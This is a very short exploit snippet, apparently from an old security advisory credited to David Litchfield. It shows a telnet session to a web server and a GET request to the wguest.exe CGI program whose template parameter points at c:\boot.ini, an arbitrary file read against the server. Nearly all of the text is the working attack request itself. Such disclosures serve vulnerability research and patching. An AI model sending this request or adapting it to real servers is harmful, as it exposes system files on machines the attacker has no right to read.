Exploit:

jaxx0r:/# telnet www.xxxx.net 80

 Trying 200.xx.xx.xx...
  Connected to venus.xxxx.net
  Escape character is '^]'.

  GET http://server/cgi-bin/wguest.exe?template=c:\boot.ini

                                David Litchfield